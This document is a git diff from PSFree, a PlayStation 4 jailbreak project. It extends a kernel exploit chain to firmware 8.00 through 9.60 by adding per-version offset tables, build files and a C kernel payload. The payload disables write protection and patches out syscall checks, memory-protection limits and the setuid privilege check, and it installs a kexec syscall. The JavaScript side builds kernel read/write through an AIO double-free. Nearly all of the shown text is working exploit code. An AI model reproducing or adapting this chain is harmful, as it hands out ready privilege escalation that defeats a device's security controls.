u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x122d7a, 0x37);
|
||||
write8(kbase, 0x122d7d, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x196d3d, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x19fedf, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x11960, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x1fa536, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10f9500;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
@@ -1,27 +1,21 @@
|
||||
TARGET = 80x
|
||||
ENTRY = 0x900000000
|
||||
src = $(TARGET).c
|
||||
TARGET_VERSIONS = 800 850 900 903 950
|
||||
|
||||
CC = gcc
|
||||
CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
|
||||
CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
|
||||
CFLAGS += -fwrapv-pointer -std=gnu11
|
||||
OBJCOPY = objcopy
|
||||
CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld
|
||||
|
||||
.PHONY: all
|
||||
all: $(TARGET).elf
|
||||
ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
|
||||
ALL_OBJECTS = $(TARGET_VERSIONS:%=%.o)
|
||||
ALL_BINS = $(TARGET_VERSIONS:%=%.bin)
|
||||
|
||||
$(TARGET).elf: $(TARGET).o
|
||||
$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
|
||||
all: $(ALL_BINS)
|
||||
|
||||
%.bin: %.o
|
||||
$(CC) $< -o $*.elf $(CFLAGS)
|
||||
$(OBJCOPY) -O binary --only-section=.text $*.elf $@
|
||||
-rm -f $*.elf
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
-rm -f *.d *.o *.elf
|
||||
|
||||
%.d: %.c
|
||||
@set -e; \
|
||||
rm -f $@; \
|
||||
$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
|
||||
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
|
||||
rm -f $@.$$$$;
|
||||
|
||||
include $(src:.c=.d)
|
||||
-rm -f $(ALL_OBJECTS) $(ALL_BINS)
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
SECTIONS
|
||||
{
|
||||
.text : { *(.text.start) *(.text) }
|
||||
.rodata : { *(.rodata) }
|
||||
.data : { *(.data) }
|
||||
.bss : { *(.bss) }
|
||||
/DISCARD/ : { *(.comment* .note*) }
|
||||
}
|
||||
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
|
||||
OUTPUT_ARCH(i386:x86-64)
|
||||
|
||||
PHDRS { code_seg PT_LOAD; }
|
||||
|
||||
SECTIONS { .text : { *(.text.start) *(.text*) } : code_seg }
|
||||
|
||||
@@ -21,14 +21,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
#include "types.h"
|
||||
|
||||
inline u64 rdmsr(u32 msr) {
|
||||
static inline u64 rdmsr(u32 msr) {
|
||||
u32 low, high;
|
||||
|
||||
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
|
||||
return (low | ((u64)high << 32));
|
||||
}
|
||||
|
||||
inline void enable_cr0_wp(void) {
|
||||
static inline void enable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"or rax, 0x10000\n"
|
||||
@@ -36,7 +36,7 @@ inline void enable_cr0_wp(void) {
|
||||
::: "rax");
|
||||
}
|
||||
|
||||
inline void disable_cr0_wp(void) {
|
||||
static inline void disable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"and rax, ~0x10000\n"
|
||||
@@ -44,18 +44,18 @@ inline void disable_cr0_wp(void) {
|
||||
::: "rax");
|
||||
}
|
||||
|
||||
inline void write8(void *addr, size_t offset, u8 value) {
|
||||
static inline void write8(void *addr, size_t offset, u8 value) {
|
||||
*(u8 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write16(void *addr, size_t offset, u16 value) {
|
||||
static inline void write16(void *addr, size_t offset, u16 value) {
|
||||
*(u16 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write32(void *addr, size_t offset, u32 value) {
|
||||
static inline void write32(void *addr, size_t offset, u32 value) {
|
||||
*(u32 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write64(void *addr, size_t offset, u64 value) {
|
||||
static inline void write64(void *addr, size_t offset, u64 value) {
|
||||
*(u64 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
@@ -24,21 +25,29 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
// * RESTORE - code will repair kernel panic vulnerability
|
||||
// * MEMLEAK - memory leaks that our code will induce
|
||||
|
||||
import { Int } from '/module/int64.mjs';
|
||||
import { mem } from '/module/mem.mjs';
|
||||
import { log, die, hex, hexdump } from '/module/utils.mjs';
|
||||
import { cstr, jstr } from '/module/memtools.mjs';
|
||||
import { page_size, context_size } from '/module/offset.mjs';
|
||||
import { Chain } from '/module/chain.mjs';
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { mem } from './module/mem.mjs';
|
||||
import { clear_log, log, die, hex, hexdump } from './module/utils.mjs';
|
||||
import { cstr, jstr } from './module/memtools.mjs';
|
||||
import { page_size, context_size } from './module/offset.mjs';
|
||||
import { Chain } from './module/chain.mjs';
|
||||
|
||||
import {
|
||||
View1, View2, View4,
|
||||
Word, Long, Pointer,
|
||||
Buffer,
|
||||
} from '/module/view.mjs';
|
||||
} from './module/view.mjs';
|
||||
|
||||
import * as rop from '/module/chain.mjs';
|
||||
import * as config from '/config.mjs';
|
||||
import * as rop from './module/chain.mjs';
|
||||
import * as config from './config.mjs';
|
||||
|
||||
// Static imports for firmware configurations
|
||||
import * as fw_ps4_800 from './lapse/ps4/800.mjs';
|
||||
import * as fw_ps4_850 from './lapse/ps4/850.mjs';
|
||||
import * as fw_ps4_852 from './lapse/ps4/852.mjs';
|
||||
import * as fw_ps4_900 from './lapse/ps4/900.mjs';
|
||||
import * as fw_ps4_903 from './lapse/ps4/903.mjs';
|
||||
import * as fw_ps4_950 from './lapse/ps4/950.mjs';
|
||||
|
||||
const t1 = performance.now();
|
||||
|
||||
@@ -62,6 +71,35 @@ const [is_ps4, version] = (() => {
|
||||
return [is_ps4, version];
|
||||
})();
|
||||
|
||||
// Set per-console/per-firmware offsets
|
||||
const fw_config = (() => {
|
||||
if (is_ps4) {
|
||||
if (0x800 <= version && version < 0x850) { // 8.00, 8.01, 8.03
|
||||
return fw_ps4_800;
|
||||
} else if (0x850 <= version && version < 0x852) { // 8.50
|
||||
return fw_ps4_850;
|
||||
} else if (0x852 <= version && version < 0x900) { // 8.52
|
||||
return fw_ps4_852;
|
||||
} else if (0x900 <= version && version < 0x903) { // 9.00
|
||||
return fw_ps4_900;
|
||||
} else if (0x903 <= version && version < 0x950) { // 9.03, 9.04
|
||||
return fw_ps4_903;
|
||||
} else if (0x950 <= version && version < 0x1000) { // 9.50, 9.51, 9.60
|
||||
return fw_ps4_950;
|
||||
}
|
||||
} else {
|
||||
// TODO: PS5
|
||||
}
|
||||
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
|
||||
})();
|
||||
|
||||
const pthread_offsets = fw_config.pthread_offsets;
|
||||
const off_kstr = fw_config.off_kstr;
|
||||
const off_cpuid_to_pcpu = fw_config.off_cpuid_to_pcpu;
|
||||
const off_sysent_661 = fw_config.off_sysent_661;
|
||||
const jmp_rsi = fw_config.jmp_rsi;
|
||||
const patch_elf_loc = fw_config.patch_elf_loc;
|
||||
|
||||
// sys/socket.h
|
||||
const AF_UNIX = 1;
|
||||
const AF_INET = 2;
|
||||
@@ -144,16 +182,6 @@ async function init() {
|
||||
await rop.init();
|
||||
chain = new Chain();
|
||||
|
||||
// TODO assumes ps4 8.0x
|
||||
const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25610,
|
||||
'pthread_join' : 0x27c60,
|
||||
'pthread_barrier_init' : 0xa0e0,
|
||||
'pthread_barrier_wait' : 0x1ee00,
|
||||
'pthread_barrier_destroy' : 0xe180,
|
||||
'pthread_exit' : 0x19eb0,
|
||||
}));
|
||||
|
||||
rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
|
||||
}
|
||||
|
||||
@@ -1104,7 +1132,7 @@ function double_free_reqs1(
|
||||
}
|
||||
}
|
||||
if (sd === null) {
|
||||
die("can't find sd that overwrote AIO queue entry");
|
||||
die('can\'t find sd that overwrote AIO queue entry');
|
||||
}
|
||||
log(`sd: ${sd}`);
|
||||
|
||||
@@ -1240,15 +1268,11 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
||||
die('test read of &"evf cv" failed');
|
||||
}
|
||||
|
||||
// TODO FW dependent parts! assume ps4 8.0x for now
|
||||
|
||||
const off_kstr = 0x7edcff;
|
||||
const kbase = kernel_addr.sub(off_kstr);
|
||||
log(`kernel base: ${kbase}`);
|
||||
|
||||
log('\nmaking arbitrary kernel read/write');
|
||||
const cpuid = 7 - main_core;
|
||||
const off_cpuid_to_pcpu = 0x228e6b0;
|
||||
const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
|
||||
log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
|
||||
const pcpu = kread64(pcpu_p);
|
||||
@@ -1486,7 +1510,7 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
||||
|
||||
// FUNCTIONS FOR STAGE: PATCH KERNEL
|
||||
|
||||
async function get_patches(url) {
|
||||
async function get_binary(url) {
|
||||
const response = await fetch(url);
|
||||
if (!response.ok) {
|
||||
throw Error(
|
||||
@@ -1496,37 +1520,33 @@ async function get_patches(url) {
|
||||
return response.arrayBuffer();
|
||||
}
|
||||
|
||||
// TODO 8.0x supported only
|
||||
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
if (!is_ps4) {
|
||||
throw RangeError('PS5 kernel patching unsupported');
|
||||
throw RangeError('ps5 kernel patching unsupported');
|
||||
}
|
||||
if (!(0x800 <= version < 0x850)) {
|
||||
if (!(0x800 <= version && version < 0x1000)) { // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60
|
||||
throw RangeError('kernel patching unsupported');
|
||||
}
|
||||
|
||||
log('change sys_aio_submit() to sys_kexec()');
|
||||
// sysent[661] is unimplemented so free for use
|
||||
const offset_sysent_661 = 0x11040c0;
|
||||
const sysent_661 = kbase.add(offset_sysent_661);
|
||||
const sysent_661 = kbase.add(off_sysent_661);
|
||||
// .sy_narg = 6
|
||||
kmem.write32(sysent_661, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
kmem.write64(sysent_661.add(8), kbase.add(0xe629c));
|
||||
kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
kmem.write32(sysent_661.add(0x2c), 1);
|
||||
|
||||
log('add JIT capabilities');
|
||||
// TODO just set the bits for JIT privs
|
||||
// TODO: Just set the bits for JIT privs
|
||||
// cr_sceCaps[0]
|
||||
kmem.write64(p_ucred.add(0x60), -1);
|
||||
// cr_sceCaps[1]
|
||||
kmem.write64(p_ucred.add(0x68), -1);
|
||||
|
||||
const buf = await get_patches('/kpatch/80x.elf');
|
||||
// FIXME handle .bss segment properly
|
||||
// assume start of loadable segments is at offset 0x1000
|
||||
const patches = new View1(await buf, 0x1000);
|
||||
const buf = await get_binary(patch_elf_loc);
|
||||
const patches = new View1(await buf);
|
||||
let map_size = patches.size;
|
||||
const max_size = 0x10000000;
|
||||
if (map_size > max_size) {
|
||||
@@ -1535,6 +1555,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
if (map_size === 0) {
|
||||
die('patch file size is zero');
|
||||
}
|
||||
log(`kpatch size: ${map_size} bytes`);
|
||||
map_size = map_size+page_size & -page_size;
|
||||
|
||||
const prot_rwx = 7;
|
||||
@@ -1673,7 +1694,7 @@ export async function kexploit() {
|
||||
get_our_affinity(main_mask);
|
||||
log(`main_mask: ${main_mask}`);
|
||||
|
||||
log("setting main thread's priority");
|
||||
log('setting main thread\'s priority');
|
||||
sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
|
||||
|
||||
const [block_fd, unblock_fd] = (() => {
|
||||
35
src/lapse/ps4/800.mjs
Normal file
35
src/lapse/ps4/800.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.00, 8.01, 8.03
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25610,
|
||||
'pthread_join' : 0x27c60,
|
||||
'pthread_barrier_init' : 0xa0e0,
|
||||
'pthread_barrier_wait' : 0x1ee00,
|
||||
'pthread_barrier_destroy' : 0xe180,
|
||||
'pthread_exit' : 0x19eb0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7edcff;
|
||||
export const off_cpuid_to_pcpu = 0x228e6b0;
|
||||
|
||||
export const off_sysent_661 = 0x11040c0;
|
||||
export const jmp_rsi = 0xe629c;
|
||||
|
||||
export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/850.mjs
Normal file
35
src/lapse/ps4/850.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.50
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0xebb0,
|
||||
'pthread_join' : 0x29d50,
|
||||
'pthread_barrier_init' : 0x283c0,
|
||||
'pthread_barrier_wait' : 0xb8c0,
|
||||
'pthread_barrier_destroy' : 0x9c10,
|
||||
'pthread_exit' : 0x25310,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7da91c;
|
||||
export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||
|
||||
export const off_sysent_661 = 0x11041b0;
|
||||
export const jmp_rsi = 0xc810d;
|
||||
|
||||
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/852.mjs
Normal file
35
src/lapse/ps4/852.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.52
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0xebb0,
|
||||
'pthread_join' : 0x29d60,
|
||||
'pthread_barrier_init' : 0x283d0,
|
||||
'pthread_barrier_wait' : 0xb8c0,
|
||||
'pthread_barrier_destroy' : 0x9c10,
|
||||
'pthread_exit' : 0x25320,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7da91c;
|
||||
export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||
|
||||
export const off_sysent_661 = 0x11041b0;
|
||||
export const jmp_rsi = 0xc810d;
|
||||
|
||||
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/900.mjs
Normal file
35
src/lapse/ps4/900.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25510,
|
||||
'pthread_join' : 0xafa0,
|
||||
'pthread_barrier_init' : 0x273d0,
|
||||
'pthread_barrier_wait' : 0xa320,
|
||||
'pthread_barrier_destroy' : 0xfea0,
|
||||
'pthread_exit' : 0x77a0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7f6f27;
|
||||
export const off_cpuid_to_pcpu = 0x21ef2a0;
|
||||
|
||||
export const off_sysent_661 = 0x1107f00;
|
||||
export const jmp_rsi = 0x4c7ad;
|
||||
|
||||
export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/903.mjs
Normal file
35
src/lapse/ps4/903.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.03, 9.04
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25510,
|
||||
'pthread_join' : 0xafa0,
|
||||
'pthread_barrier_init' : 0x273d0,
|
||||
'pthread_barrier_wait' : 0xa320,
|
||||
'pthread_barrier_destroy' : 0xfea0,
|
||||
'pthread_exit' : 0x77a0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7f4ce7;
|
||||
export const off_cpuid_to_pcpu = 0x21eb2a0;
|
||||
|
||||
export const off_sysent_661 = 0x1103f00;
|
||||
export const jmp_rsi = 0x5325b;
|
||||
|
||||
export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/950.mjs
Normal file
35
src/lapse/ps4/950.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x1c540,
|
||||
'pthread_join' : 0x9560,
|
||||
'pthread_barrier_init' : 0x24200,
|
||||
'pthread_barrier_wait' : 0x1efb0,
|
||||
'pthread_barrier_destroy' : 0x19450,
|
||||
'pthread_exit' : 0x28ca0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x769a88;
|
||||
export const off_cpuid_to_pcpu = 0x21a66c0;
|
||||
|
||||
export const off_sysent_661 = 0x1100ee0;
|
||||
export const jmp_rsi = 0x15a6d;
|
||||
|
||||
export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs`
|
||||
0
src/lapse/ps5/.gitinclude
Normal file
0
src/lapse/ps5/.gitinclude
Normal file
@@ -19,7 +19,7 @@ import { Int, lohi_from_one } from './int64.mjs';
|
||||
import { get_view_vector } from './memtools.mjs';
|
||||
import { Addr } from './mem.mjs';
|
||||
|
||||
import * as config from '/config.mjs';
|
||||
import * as config from '../config.mjs';
|
||||
|
||||
// put the sycall names that you want to use here
|
||||
export const syscall_map = new Map(Object.entries({
|
||||
@@ -542,7 +542,7 @@ export function get_gadget(map, insn_str) {
|
||||
|
||||
function load_fw_specific(version) {
|
||||
if (version & 0x10000) {
|
||||
throw RangeError('ps5 not supported yet');
|
||||
throw RangeError('PS5 not supported yet');
|
||||
}
|
||||
|
||||
const value = version & 0xffff;
|
||||
@@ -550,14 +550,26 @@ function load_fw_specific(version) {
|
||||
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
|
||||
// which can be annoying to deal with
|
||||
if (value < 0x700) {
|
||||
throw RangeError("PS4 firmwares < 7.00 isn't supported");
|
||||
throw RangeError('PS4 firmwares < 7.00 isn\'t supported');
|
||||
}
|
||||
|
||||
if (0x800 <= value && value < 0x850) {
|
||||
return import('/rop/800.mjs');
|
||||
if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03
|
||||
return import('../rop/ps4/800.mjs');
|
||||
}
|
||||
|
||||
throw RangeError('firmware not supported');
|
||||
if (0x850 <= value && value < 0x900) { // 8.50, 8.52
|
||||
return import('../rop/ps4/850.mjs');
|
||||
}
|
||||
|
||||
if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04
|
||||
return import('../rop/ps4/900.mjs');
|
||||
}
|
||||
|
||||
if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60
|
||||
return import('../rop/ps4/950.mjs');
|
||||
}
|
||||
|
||||
throw RangeError('Firmware not supported');
|
||||
}
|
||||
|
||||
export let gadgets = null;
|
||||
|
||||
@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { Int, lohi_from_one } from '/module/int64.mjs';
|
||||
import { Addr } from '/module/mem.mjs';
|
||||
import { BufferView } from '/module/rw.mjs';
|
||||
import { Int, lohi_from_one } from './int64.mjs';
|
||||
import { Addr } from './mem.mjs';
|
||||
import { BufferView } from './rw.mjs';
|
||||
|
||||
import * as config from '/config.mjs';
|
||||
import * as mt from '/module/memtools.mjs';
|
||||
import * as config from '../config.mjs';
|
||||
import * as mt from './memtools.mjs';
|
||||
|
||||
// View constructors will always get the buffer property in order to make sure
|
||||
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
|
||||
@@ -76,8 +76,8 @@ function ViewMixin(superclass) {
|
||||
// isn't one of the built-in TypedArrays. this is a violation of the
|
||||
// ECMAScript spec at that time
|
||||
//
|
||||
